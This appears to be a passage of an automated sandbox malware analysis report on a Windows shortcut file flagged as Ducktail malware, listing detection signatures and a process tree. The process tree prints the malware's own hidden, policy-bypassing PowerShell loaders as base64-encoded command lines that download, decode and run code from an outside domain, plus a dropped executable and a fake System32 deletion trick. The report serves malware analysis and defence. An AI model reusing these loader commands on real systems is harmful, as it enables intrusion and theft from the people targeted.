Edit tour

Windows Analysis Report
L0jeOoavu4.lnk

Overview

General Information

Sample name:	L0jeOoavu4.lnk
Analysis ID:	1573008
MD5:	56b6d0c993cb1da87122ac0e3bbe0428
SHA1:	8b4f8de6f252ad42a1c3e3332a768c4883ca21a1
SHA256:	d662a6e2242305b9e0073b5253e9a3c0902c90fe3dbe82f9b3f57f03a1a9f2a9
Infos:

Detection

Ducktail

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Ducktail

Allows multiple concurrent remote connection

Bypasses PowerShell execution policy

Encrypted powershell cmdline option found

Found suspicious powershell code related to unpacking or dynamic code loading

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Modifies security policies related information

Potential dropper URLs found in powershell memory

PowerShell case anomaly found

Powershell drops PE file

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sigma detected: Dot net compiler compiles file from suspicious location

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Sigma detected: PowerShell Base64 Encoded WMI Classes

Sigma detected: Suspicious Encoded PowerShell Command Line

Sigma detected: Suspicious New Service Creation

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Sigma detected: Suspicious PowerShell Invocations - Specific - PowerShell Module

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Uses regedit.exe to modify the Windows registry

Writes or reads registry keys via WMI

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Compiles C# or VB.Net code

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

PE file contains strange resources

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Dynamic .NET Compilation Via Csc.EXE

Sigma detected: Suspicious Execution of Powershell with Base64

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64native

cmd.exe (PID: 2928 cmdline: "C:\Windows\system32\cmd.exe" /v /k "powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="" && exit MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6652 cmdline: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARQA0AEEAZABBAEIARgBBAEUANABBAGQAQQBBAHAAQQBDAGsAQQAiAA==" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 3076 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 5216 cmdline: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline" MD5: F65B029562077B648A6A5F6A1AA76A66)

cvtres.exe (PID: 3460 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDE80.tmp" "c:\Users\user\AppData\Local\Temp\5xymyn2p\CSCE1E74815576744ED8350991F7490E7AE.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950)

powershell.exe (PID: 7784 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1384 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

WINWORD.EXE (PID: 2700 cmdline: "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\Meeting-Registration-Form.docx.docx" /o "" MD5: E7F3B8EA1B06F46176FC5C35307727D6)

WmiPrvSE.exe (PID: 8728 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 8204 cmdline: "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8300 cmdline: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7ACAAJABiAHkAdABlAEEAcgByAGEAeQBbACQAaQBdACAAPQAgACQAYgB5AHQAZQBBAHIAcgBhAHkAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEAOwAgAH0ADQAKAAkACQBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBBAHIAcgBhAHkAKQApADsADQAKAAkACQBiAHIAZQBhAGsAOwANAAoACQB9AA0ACgAJAGMAYQB0AGMAaAANAAoACQB7AA0ACgAJAAkAUwBlAG4AZAAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQA7AA0ACgAJAAkAJABjAG8AdQBuAHQAIAAtAD0AIAAxADsADQAKAAkACQBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADUAOwANAAoACQB9AA0ACgB9AA0ACgANAAoADQAKAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sppsvc.exe (PID: 8440 cmdline: C:\Windows\system32\sppsvc.exe MD5: 30C7EF47B57367CC546173BB4BB2BB04)

svchost.exe (PID: 8632 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: F586835082F632DC8D9404D83BC16316)

svczHost.exe (PID: 9020 cmdline: C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de MD5: 9298A0077E8353244A38CAEFE43AF4CB)

conhost.exe (PID: 9028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 9088 cmdline: "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

cmd.exe (PID: 9152 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9168 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6056 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

powershell.exe (PID: 9160 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhA